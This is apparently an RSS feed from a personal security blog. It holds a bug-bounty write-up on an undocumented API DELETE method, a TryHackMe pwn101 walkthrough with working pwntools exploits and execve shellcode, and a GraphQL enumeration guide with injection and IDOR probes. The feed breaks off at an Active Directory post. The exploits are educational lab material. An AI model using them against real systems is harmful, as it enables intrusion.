<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Prabin Sigdel]]></title><description><![CDATA[Prabin Sigdel]]></description><link>https://prabinsigdel.com.np</link><generator>RSS for Node</generator><lastBuildDate>Tue, 07 Apr 2026 20:32:52 GMT</lastBuildDate><atom:link href="https://prabinsigdel.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Hacking with Docs: Finding a Critical API Vulnerability via Documentation]]></title><description><![CDATA[Sometimes, the best vulnerabilities aren’t found with brute-force, fuzzing or fancy payloads they’re hiding in plain sight, right inside the documentation.

While testing a private program on HackerOne — let’s call it target.dev . I came across a pla...]]></description><link>https://prabinsigdel.com.np/hacking-with-docs-finding-a-critical-api-vulnerability-via-documentation</link><guid isPermaLink="true">https://prabinsigdel.com.np/hacking-with-docs-finding-a-critical-api-vulnerability-via-documentation</guid><category><![CDATA[APIs]]></category><category><![CDATA[docs]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[Prabin Sigdel]]></dc:creator><pubDate>Thu, 17 Jul 2025 05:43:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/ehyV_XOZ4iA/upload/6805729ae17ae14f6381afbc8114a3bc.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><em>Sometimes, the best vulnerabilities aren’t found with brute-force, fuzzing or fancy payloads they’re hiding in plain sight, right inside the documentation.</em></p>
</blockquote>
<p>While testing a private program on HackerOne — let’s call it <a target="_blank" href="http://target.dev"><code>target.dev</code></a> . I came across a platform designed to manage <strong>organizations and teams</strong>. The functionality was quite structured:</p>
<ul>
<li><p>An <strong>organization admin</strong> could invite team members and assign roles like <strong>admin</strong> or <strong>member</strong>.</p>
</li>
<li><p>There was a feature to generate <strong>API tokens</strong> with <strong>scoped permissions</strong> for example, a token that could manage teams but not the organization itself.</p>
</li>
<li><p>The best part? The target had <strong>public API documentation</strong> showing exactly how to use the token with different endpoints.</p>
</li>
<li><p>If you're testing an app that allows users to <strong>create or generate API tokens</strong>, take time to:</p>
<ul>
<li><p><strong>Explore the full API documentation</strong>, especially looking for different <strong>API versions (like</strong> <code>/v1</code>, <code>/v2</code>, <code>/v3</code>, etc.).</p>
</li>
<li><p>Understand what each token can access, especially the <strong>scope or permission model</strong>.</p>
</li>
<li><p>Cross-check documented endpoints with live behavior and don’t stop at what’s written.</p>
</li>
</ul>
</li>
</ul>
<p>    Sometimes, the gap between documentation and implementation is where bugs live.</p>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752730483790/3b5eca33-a787-4a4a-8f55-7436f25bd8eb.png" alt class="image--center mx-auto" /></p>
<p>The API docs clearly laid out endpoints like:</p>
<ul>
<li><p><code>GET /api/v3/&lt;orgid&gt;/users</code> – list team members</p>
</li>
<li><p><code>POST /api/v3/&lt;orgid&gt;/users</code> – invite a new team member</p>
</li>
<li><p><code>PATCH /api/v3/&lt;orgid&gt;/users/&lt;userid&gt;</code> – update a team member</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752730405560/5a9654ce-faa6-448b-a27f-fbb4bf37962f.png" alt class="image--center mx-auto" /></p>
<p>All of these endpoints <strong>respected the token’s assigned permissions</strong>. I had a token created with the permission to <strong>only manage teams</strong>, not the full organization. When I tested those three endpoints, everything worked exactly as expected: <strong>access denied</strong> for anything outside the allowed scope.</p>
<p>But then I thought: <strong><em>What about undocumented or unmentioned HTTP methods?</em></strong></p>
<p>I took the same endpoint path and simply tried:<br /><code>/api/v3/&lt;orgid&gt;/users/&lt;userid&gt;</code></p>
<pre><code class="lang-bash">DELETE /api/v3/&lt;orgid&gt;/users/&lt;userid&gt;
</code></pre>
<blockquote>
<p><strong>To my surprise…It worked out of the blue.</strong></p>
</blockquote>
<p>Despite having a token with limited permissions, I was able to <strong>delete any user</strong> from the team <strong>including the organization admin</strong>.</p>
<h3 id="heading-why-this-was-critical">Why This Was Critical</h3>
<ul>
<li><p>The DELETE method was <strong>not documented</strong> anywhere in the official API docs.</p>
</li>
<li><p>The token I used was never intended to perform destructive actions like removing members.</p>
</li>
<li><p>An attacker with such a token could remove all admins, lock out legitimate users.</p>
</li>
</ul>
<p>I reported the issue to the program through HackerOne. The team responded quickly, <strong>acknowledged the vulnerability</strong>, and <strong>fixed it</strong> by updating access control on the <code>DELETE</code> method and <strong>improving the API documentation</strong> to avoid such blind spots in the future.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752730707307/c1b162fd-111d-40dc-b1d7-06eb310ba411.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Binary Exploitation and Reverse Engineering]]></title><description><![CDATA[Pwn101
This is about binary exploitation and reverse engineering on a tryhackme machine pwn101. There are 10 labs for 10 different kinds of binary vulnerabilities.

Buffer overflow

Modify the variable's value

Return to win

Return to shellcode

Int...]]></description><link>https://prabinsigdel.com.np/binary-exploitation-and-reverse-engineering</link><guid isPermaLink="true">https://prabinsigdel.com.np/binary-exploitation-and-reverse-engineering</guid><category><![CDATA[Binary Exploitation]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Prabin Sigdel]]></dc:creator><pubDate>Sat, 14 Jun 2025 10:12:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/xhQpxrR1w3U/upload/9698e1329a0102c26c5e960bae335952.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-pwn101"><strong>Pwn101</strong></h3>
<p>This is about binary exploitation and reverse engineering on a tryhackme machine pwn101. There are 10 labs for 10 different kinds of binary vulnerabilities.</p>
<ul>
<li><p>Buffer overflow</p>
</li>
<li><p>Modify the variable's value</p>
</li>
<li><p>Return to win</p>
</li>
<li><p>Return to shellcode</p>
</li>
<li><p>Integer Overflow</p>
</li>
<li><p>Format string exploit</p>
</li>
<li><p>Bypassing mitigations</p>
</li>
<li><p>GOT overwrite</p>
</li>
<li><p>Return to PLT</p>
</li>
<li><p>Playing with ROP</p>
</li>
</ul>
<h3 id="heading-pwn101-1"><strong>pwn101</strong></h3>
<p>So let's start with pwn 101 it has a downloadable file pwn101.pwn101, And it is about buffer overflow. First <code>checksec</code> a binary to see what mitigations is provided with it,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727575259/58a6a477-88ad-4342-a288-39f30e1c4b05.jpeg" alt /></p>
<p>You can see there is no any stack canary available to protect from buffer overflow, so run the binary and provide a large no of inputs other than it expected. If you don't know what stack canary is <a target="_blank" href="https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/">click here</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727597066/7fd7e30b-56db-4e90-a75b-b4484d11334a.jpeg" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727617703/df052873-6c94-4273-91f7-c220461248b9.jpeg" alt /></p>
<p>OK we successfully overflowed the binary function gets which is vulnerable to buffer overflow and jump to <code>/bin/sh</code>. So to get flag we have to test on remote server.The exploit written in python with help of pwntools.</p>
<p>You can check others exploits on my github repo <a target="_blank" href="https://github.com/0xpr4bin/pwn101">here</a>.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

binary=context.binary=ELF(<span class="hljs-string">"./pwn101.pwn101"</span>)
context.log_level=<span class="hljs-string">"critical"</span>
payload=<span class="hljs-string">b"A"</span>* <span class="hljs-number">0x40</span> + <span class="hljs-string">b"A"</span>*<span class="hljs-number">0x4</span> + <span class="hljs-string">b"B"</span>*<span class="hljs-number">0x8</span>
p=remote(<span class="hljs-string">"10.10.86.157"</span>,<span class="hljs-number">9001</span>)
<span class="hljs-comment">#p=process()</span>
p.sendline(payload)
p.recv()
p.interactive()
</code></pre>
<p>Run the python script <code>./exploit101.py</code> and we got the flag on the remote server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727674078/f6b86173-2556-4d3d-9c1a-e7e8ff6bef28.jpeg" alt /></p>
<h3 id="heading-pwn102"><strong>pwn102</strong></h3>
<p>Ok as usual lets start with the checksec using command.</p>
<p><code>checksec -file=pwn102.pwn102</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727718080/22de0603-c573-482b-b204-562b7caf0003.jpeg" alt /></p>
<p>Also there is no stack canary present, and it is vulnerable to buffer overflow Lets debug this binary on radare2,</p>
<p><code>r2 -d -A pwn102.pwn102</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727732797/2c8c75eb-6aa2-4cfd-9d40-a0a721d585fb.jpeg" alt /></p>
<p>The <code>scanf</code> function is taking values in <code>@rbp-0x70</code> without any size validation so we can overflow the buffer but we need to modify two variables <code>@rbp-0x4</code> and <code>@rbp-0x8</code> with<code>0xc0d3</code>and <code>0xc0ff33</code> respectively because these are set on the stack above buff4r.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727748813/01598db9-5f2f-4eb4-9824-d8429f31c696.jpeg" alt /></p>
<p>After that we can get to call <code>/bin/sh</code> and spawn a shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727797236/7fbab47c-5c27-4858-a411-b42568957620.jpeg" alt /></p>
<p>Lets write a script to execute on remote server on port 9002.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary=binary=ELF(<span class="hljs-string">"./pwn102.pwn102"</span>)
context.log_level=<span class="hljs-string">"critical"</span>
payload = <span class="hljs-string">b"A"</span>*<span class="hljs-number">104</span>
payload+= p32(<span class="hljs-number">0xc0d3</span>)
payload+= p32(<span class="hljs-number">0xc0ff33</span>)
<span class="hljs-comment">#p=process()</span>
p=remote(<span class="hljs-string">"10.10.103.79"</span>,<span class="hljs-number">9002</span>)
p.sendline(payload)
p.interactive()
</code></pre>
<p>Finally we got the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727833253/c69042db-fc2b-48af-ac65-3577ce86d03b.jpeg" alt /></p>
<h3 id="heading-pwn103"><strong>pwn103</strong></h3>
<p>Ok This is about <code>re2win</code>, it is basically overwriting the instruction pointer to return to the desired function. lets start with <code>checksec</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727853546/3b66e123-09d9-431d-8129-104c3537f2aa.jpeg" alt /></p>
<p>There is no stack canary and PIE is disabled, meaning we can overflow the buffer and the address of the function won't change between execution <code>(PIE disabled)</code>.</p>
<p>lets run the binary first and see.</p>
<p><code>./pwn103.pwn103</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727870867/1c7e8d93-026d-4206-8f63-3f0b65491a92.jpeg" alt /></p>
<p>It's asking for options and case 3 is vulnerable to buffer overflow, we can send as many bytes we want because it is using <code>scanf()</code> function that is not checking buffer size limitations as you can see below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727884285/4a0287d3-4917-415b-8af2-43b05129b42d.jpeg" alt /></p>
<p>So as mentioned earlier <code>PIE</code> is disabled so address won't change on execution.We can get win() function and this time it is admins_only() which will spawn a /bin/sh shell. So we will get admins_only address <code>(sym.admins_only)</code> and overwrite the <code>RIP</code> to return the <code>general()</code> function to <code>admins_only()</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727898051/967bb1f7-0a6e-4701-bf66-6aca145a0222.jpeg" alt /></p>
<p>Lets write a script to get the flag on remote server on port 9003.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary=binary=ELF(<span class="hljs-string">"./pwn103.pwn103"</span>)
context.log_level=<span class="hljs-string">"critical"</span>

<span class="hljs-comment">#p=process()</span>
p=remote(<span class="hljs-string">"10.10.114.45"</span>,<span class="hljs-number">9003</span>)

<span class="hljs-comment">#get the win() function address</span>
admins_only=p64(binary.symbols.admins_only)

<span class="hljs-comment">#To overcome stack alignement we have to put ret gadgets</span>
ret_address=p64(<span class="hljs-number">0x00401377</span>)

<span class="hljs-comment">#We overwrite the buffer as well as 0x20 bytes until reach rbp and overwrite rip with win() adress</span>
payload=<span class="hljs-string">b"A"</span>*<span class="hljs-number">0x20</span> + <span class="hljs-string">b"B"</span>*<span class="hljs-number">0x8</span> + ret_address + admins_only
<span class="hljs-comment">#To choose vulnerable option</span>

p.sendline(<span class="hljs-string">b"3"</span>)
p.sendline(payload)
p.interactive()
</code></pre>
<p>In the above exploit we are first sending <code>b"3"</code> bytes to choose option general, then sending bytes of <code>0x20</code> to overwrite the buffer until we reach to the RBP and <code>0x8</code> bytes to overwrite RBP itself and <code>ret_address</code> for stack alignement as well as admins_only adress to overwrite the RIP to call win() function <code>(admins_only)</code>.</p>
<p>Run the script and get the flag.</p>
<p><code>Ppython exploit103.py</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727912746/14c02e18-4ac2-4d1a-af8c-35cc2cbe3481.jpeg" alt /></p>
<h3 id="heading-pwn104"><strong>pwn104</strong></h3>
<p>This lab has file pwn104.pwnn104 which we have to download. Its about <code>ret2shellcode</code>, basically executing <code>shellcode</code> or remote code execution(RCE)</p>
<p>At first run the binary file and see what we got.</p>
<p><code>./pwn104.pwn104</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727932624/192ad1b1-26b3-4e4c-a096-e791afc81558.jpeg" alt /></p>
<p>Here we can see its leaking address <code>0x7ffc7ae5a10</code>, which we really don't know what it is? And this address is changing everytime you run the binary because of <a target="_blank" href="https://www.techtarget.com/searchsecurity/definition/address-space-layout-randomization-ASLR#:~:">Address space layout randomization(ASLR)</a>.So lets check the file.</p>
<p><code>checksec -file=pwn104.pwn104</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727943195/54fd445f-7244-405a-91c4-f67abafee94c.jpeg" alt /></p>
<p>Actually it has not any mitigations actually other than partial relro.</p>
<p>There is no <code>stack canary</code>, <code>NX disabled</code>, <code>No PIE</code>, so we can overflow the buffer, and also can execute <code>shellcode</code> as well as adresses won't change between execution.</p>
<p>So lets open with cutter and analyze the binary.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727954656/81d928b5-587c-40c7-ad31-f3e2e1b86996.jpeg" alt /></p>
<p>There is <code>read</code> function that reads our input as bytes ranging from 0–200 <code>bytes(0xc8)</code> at the end and stores in <code>buf</code> at memory <code>rbp-0x50</code> and we can overflow this buffer pretty easily.</p>
<p>Then it returns to the address and exits the program. Unlike previous lab here is not any <code>win()</code> function to return to after overflowing buffer, but we can execute <a target="_blank" href="https://www.techtarget.com/searchsecurity/answer/What-is-the-relationship-between-shellcode-and-exploit-code">shellcode</a> from stack as NX is disabled.</p>
<p>And now basic summary is that we first overflow the <code>buf</code> with shellocode and remaining spaces with A's and B's and also overwrite rbp itself. Then to execute code by returning to shellcode we should overwrite the <code>instruction pointer</code> with <code>buff_address</code> where we stored shellcode. Due to <code>ASLR</code> address might change on execution on system though NX is disabled,but luckily we have address of <code>buf</code> every time running the binary which is <code>0x7ffc7ae5a10</code>.</p>
<p>And what shellcode we should provide and well it is code that will execute <code>/bin/sh</code> on the system and you can find it <a target="_blank" href="https://www.exploit-db.com/exploits/46907">here</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727967557/9646b85a-390e-4224-830a-dad44f7ffcdf.jpeg" alt /></p>
<p>We successfully got the shell but locally, now to get the flag test on the remote server. So let's write the exploit.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

binary=context.binary=ELF(<span class="hljs-string">"./pwn104.pwn104"</span>)
context.log_level=<span class="hljs-string">"critical"</span>
shellcode=<span class="hljs-string">b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"</span>
<span class="hljs-comment">#p=process()</span>
p=remote(<span class="hljs-string">"10.10.144.168"</span>,<span class="hljs-number">9004</span>)
p.recv()

output=p.recv()
buff_address=int(output.split(<span class="hljs-string">b"at"</span>)[<span class="hljs-number">1</span>].strip().decode(<span class="hljs-string">"utf-8"</span>),<span class="hljs-number">16</span>)
payload=shellcode + <span class="hljs-string">b"A"</span>*(<span class="hljs-number">0x50</span> -len(shellcode)) + <span class="hljs-string">b"B"</span>*<span class="hljs-number">0x8</span> + p64(buff_address)
p.sendline(payload)

p.interactive()
</code></pre>
<p>Here we should parse the output to get actual <code>buff_address</code> to return.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727974639/3b1f4240-4119-4fe7-9f93-78cd40a0f1ff.jpeg" alt /></p>
<p>We got the flag.</p>
<h3 id="heading-pwn105"><strong>pwn105</strong></h3>
<p>This is all bout integer overflow and underflow. If you want to know more about integer overflow here is the <a target="_blank" href="https://www.youtube.com/watch?v=Dbbh_lrbgAU&amp;t=0s">link</a>.</p>
<p>Now as always lets check the binary,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752727997445/316172ea-1cc4-42eb-8d74-8d1ebb6b2cda.jpeg" alt /></p>
<p>It is 64 bit ELF executable with dynamically linked and not stripped.</p>
<p><code>checksec -file=pwn105.pwn105</code></p>
<p>It has every protections, like canary, <code>NX</code> bit enabled and <code>PIE</code> is also enabled. So every previous attacks are minimized.</p>
<p>lets dig into the debugger to see anything we can do to exploit this binary.But first run the binary.</p>
<p><code>./pwn105.pwn105</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728009564/9ef2c9ca-600b-4a27-a652-b2471723cd48.jpeg" alt /></p>
<p>It is asking for two unsigned integers and gives output but if we provide signed numbers it detects errors. So let's check the internal programs to evaluate the binary more deeper.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728018835/ec9253c9-6654-40d1-8737-107134a0ef1d.jpeg" alt /></p>
<p>The values provided by users are stored in the <code>var_14h</code> and <code>var_10h</code> and after adding the sum is stored in <code>var_ch</code>. Then it checks both of the values are unsigned(+) or not.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728031400/2aca8891-7bfa-417a-9085-1cc2cca3045f.jpeg" alt /></p>
<p>After that the sum is compared if it is <code>signed or unsigned</code>. If its signed then we jump to the next address where system function is called to <code>/bin/sh</code> and pop up a shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728040586/f15ace90-eb71-4e51-b0c1-e5b84e312db6.jpeg" alt /></p>
<p>So we know we need to make sum signed(-) but how is this possible with both <code>unsigned</code> numbers. Here comes the vulnerability of <code>integer overflow and underflow</code>. If we add any unsigned numbers to the maximum possible unsigned numbers in 8,16,32 or 64 bits integer then integer is overflowed and becomes <code>signed(-)</code> and vice versa for underflow.</p>
<p>So to exploit this binary we should <code>overflow</code> the integers by adding any unsigned numbers to the maximum possible 32 bits unsigned <code>integer(2,147,483,647)</code> and which is <code>(2,147,483,647+1)=-2,147,483,648</code>.</p>
<p>so let's write our exploits to get the flag on the remote server and get the flag.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

binary=context.binary=ELF(<span class="hljs-string">"./pwn105.pwn105"</span>)
p=remote(<span class="hljs-string">"10.10.23.48"</span>,<span class="hljs-number">9005</span>)
p.sendlineafter(<span class="hljs-string">b"]&gt;&gt;"</span>,<span class="hljs-string">b"2147483647"</span>)
p.sendlineafter(<span class="hljs-string">b"]&gt;&gt;"</span>,<span class="hljs-string">b"1"</span>)
p.recv()
p.interactive()
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728060412/3f4b121b-b05c-44ba-96a0-2d58d77602a3.jpeg" alt /></p>
<h3 id="heading-pwn106"><strong>pwn106</strong></h3>
<p>Let's begin another challenge, it is about <code>fromat string</code> vulnerability. This is basically exploiting format specifier of <code>printf()</code> family. If you want to learn more then go <a target="_blank" href="https://owasp.org/www-community/attacks/Format_string_attack">here</a>.</p>
<p>First <code>checksec -file=pwn106user.pwn106-user</code> the binary and we got mitigations for each and every field.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728071596/355d723d-65da-435d-b238-4415801efc6b.jpeg" alt /></p>
<p>Now Let's run the binary.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728111222/7a073b9b-7790-455d-a43d-e77104ba50f6.jpeg" alt /></p>
<p>Ok, you can see we are able to leak something. But we don't know what is this stuff. If you don't know it is leaking decimal values from <code>registers</code> and <code>stack(0x64 architecture)</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728130119/57fe7d4a-0a0d-4c24-b3e3-a5554cc8d29a.jpeg" alt /></p>
<p>if we supply more <code>format specifier</code> on the user input, vulnerable printf() function will leak every values from registers and stack. The order of leaking start from first register <code>(rsi,rdx,rcx,r8,r9)</code> and then remaining stack.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728140982/98333e1b-aaf5-4520-8c0e-6a3865f26c9e.jpeg" alt /></p>
<p>So our flag starts from <code>"THM"</code> whose hex value is <code>"54484d"</code> which you can see is in 6th position and up to 'x}' <code>0x7d58</code> which is 10th. For this we have to write exploit to get flag on remote server.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

binary=context.binary=ELF(<span class="hljs-string">"./pwn106user.pwn106-user"</span>)
<span class="hljs-comment">#context.log_level="debug"</span>
<span class="hljs-comment">#(rdi) rsi, rdx, rcx, r8, r9, then stack is leaked.</span>

payloads=<span class="hljs-string">"%6$lx.%7$lx.%8$lx.%9$lx.%10$lx.%11$lx"</span>

<span class="hljs-comment">#p=process()</span>
p=remote(<span class="hljs-string">"10.10.5.50"</span>,<span class="hljs-number">9006</span>)
p.recv()
p.recv()

p.sendline(payloads)
output=p.recv().strip().split(<span class="hljs-string">b" "</span>)[<span class="hljs-number">1</span>].split(<span class="hljs-string">b"."</span>)
flag=<span class="hljs-string">""</span>

<span class="hljs-keyword">for</span> word <span class="hljs-keyword">in</span> output:
flag+=bytes.fromhex(word.decode(<span class="hljs-string">"utf-8"</span>))[::<span class="hljs-number">-1</span>].decode(<span class="hljs-string">"utf-8"</span>)
print(<span class="hljs-string">"The flag is:{}"</span>,format(flag))
</code></pre>
<p>let's run the exploit and get the flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728180455/210cb012-53c3-4003-8879-b837e60d9d27.jpeg" alt /></p>
]]></content:encoded></item><item><title><![CDATA[GraphQL Enumeration]]></title><description><![CDATA[GraphQL

GraphQL is an open-source data query and manipulation language for APIs and a query runtime engine. GraphQL enables declarative data fetching where a client can specify exactly what data it needs from an API.

Difference between Rest API and...]]></description><link>https://prabinsigdel.com.np/graphql-enumeration</link><guid isPermaLink="true">https://prabinsigdel.com.np/graphql-enumeration</guid><category><![CDATA[GraphQL]]></category><dc:creator><![CDATA[Prabin Sigdel]]></dc:creator><pubDate>Sat, 14 Jun 2025 09:49:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/q9X0mjW6Xis/upload/b65f19542a1a89e9b85be9fd686e920f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-graphql"><strong>GraphQL</strong></h3>
<ul>
<li>GraphQL is an open-source data query and manipulation language for APIs and a query runtime engine. GraphQL enables declarative data fetching where a client can specify exactly what data it needs from an API.</li>
</ul>
<p><strong>Difference between Rest API and GraphQl</strong></p>
<ul>
<li><p>With a REST API, you would typically gather the data by accessing multiple endpoints. In the example, these could be <code>/users/&lt;id&gt;</code> endpoint to fetch the initial user data. Secondly, there’s likely to be a <code>/users/&lt;id&gt;/</code>posts endpoint that returns all the posts for a user. The third endpoint will then be the <code>/users/&lt;id&gt;/followers</code> that returns a list of followers per user.</p>
</li>
<li><p>In GraphQL on the other hand, you’d simply send a single query to the GraphQL server that includes the concrete data requirements. The server then responds with a JSON object where these requirements are fulfilled.</p>
</li>
</ul>
<p><strong>Queries and Mutations</strong></p>
<ul>
<li><p>Query is essentially used to fetch data from the servers, something alike GET requests in REST API.</p>
</li>
<li><p>Whereas mutations used to update, create and delete the data , usually performing like POST , PATCH AND DELETE in REST API.</p>
</li>
</ul>
<p><strong>Introspection Query</strong></p>
<ul>
<li><p>Introspection is the ability to query which resources are available in the current API schema. Given the API, via introspection, we can see the queries, types, fields, and directives it supports.</p>
</li>
<li><p>This is the full request to perform you GraphQL introspection on your target.</p>
</li>
</ul>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType
{name}types{<span class="hljs-punctuation">...FullType}</span>directives{name description locations args
{<span class="hljs-punctuation">...InputValue}</span>}}}<span class="hljs-keyword">fragment</span> FullType <span class="hljs-keyword">on</span> __Type{kind name description 
fields(<span class="hljs-symbol">includeDeprecated:</span><span class="hljs-variable">true</span>){name description args{<span class="hljs-punctuation">...InputValue}</span><span class="hljs-keyword">type</span>
{<span class="hljs-punctuation">...TypeRef}</span>isDeprecated deprecationReason}inputFields
{<span class="hljs-punctuation">...InputValue}</span>interfaces{<span class="hljs-punctuation">...TypeRef}</span>enumValues(<span class="hljs-symbol">includeDeprecated:</span><span class="hljs-variable">true</span>)
{name description isDeprecated deprecationReason}possibleTypes
{<span class="hljs-punctuation">...TypeRef}</span>}<span class="hljs-keyword">fragment</span> InputValue <span class="hljs-keyword">on</span> __InputValue{name description <span class="hljs-keyword">type</span>
{<span class="hljs-punctuation">...TypeRef}</span>defaultValue}<span class="hljs-keyword">fragment</span> TypeRef <span class="hljs-keyword">on</span> __Type{kind name ofType
{kind name ofType{kind name ofType{kind name ofType
{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
</code></pre>
<p><strong>Manual Introspection to find types and schemas</strong></p>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> Introspection{
    __schema{
        types{
            name
          }
}}
</code></pre>
<ul>
<li><p>This shows all the available Operational types on the schemas.</p>
</li>
<li><p>And To identify the available query types.</p>
</li>
</ul>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> Introspection {
    __schema{
        queryType{
            fields{
            name
            }
        }
   }
}
</code></pre>
<ul>
<li>To identify the available mutations types.</li>
</ul>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> Introspection {
    __schema{
        mutationType{
            fields{
            name
          }
        }
   }
}
</code></pre>
<ul>
<li>Now if you want to know the available fields and their names for specific query or mutation types.</li>
</ul>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> Introspection {
    __type(<span class="hljs-symbol">name:</span><span class="hljs-string">"User"</span>){
            fields{
            name
    }
   }
}
</code></pre>
<h3 id="heading-finding-vulnerabilities-on-the-graphql-apis"><strong>Finding vulnerabilities on the graphQl APIs</strong></h3>
<p><strong>Insecure Direct Object Reference (IDOR)</strong></p>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> allUsers {
    getUser(<span class="hljs-symbol">id:</span><span class="hljs-number">3</span>){
        id
        username
        password
    }
   }
}
</code></pre>
<p>Change the <code>id</code> to any other user id for IDOR which could lead to access another user's username and password.</p>
<p><strong>Sensitive data Exposures</strong></p>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> Introspection {
    __schema{
        types{
            name
    }
   }
}
</code></pre>
<ul>
<li>Sometimes running this query might return sensitive query or mutation types which might be used internally or could be used to access sensitive data and manipulate them.</li>
</ul>
<p><strong>Injections (sqli, xss, csti/ssti, ssrf, etc)</strong></p>
<pre><code class="lang-graphql"><span class="hljs-keyword">query</span> allUsers {
    getUser(<span class="hljs-symbol">username:</span><span class="hljs-string">"john'"</span>){
        id
        username
        password
    }
   }
}
</code></pre>
<p>Graphql are mostly vulnerable to sql injection, as it's architecture is kind of similar to relational database.</p>
<p>Many client side as well as sever side vulnerabilities could be found on the graphql APIs. Only the syntax is hard to construct, as it is no different than REST APIs, using above manual introspection to find available query and mutation types, it would be efficient to exploit the potential vulnerabilities. Some of the best tools for graphql testing are:</p>
<ul>
<li><p>Graphql voyager</p>
</li>
<li><p><a target="_blank" href="https://github.com/doyensec/inql">InQL burpsiute extension</a></p>
</li>
</ul>
<p><a target="_blank" href="https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit">References</a></p>
]]></content:encoded></item><item><title><![CDATA[Active Directory Enumeration & Exploitation]]></title><description><![CDATA[Enumeration
This room on tryhackme is all about active directory and domain controller. So let's begin our machine with Nmap scanning.

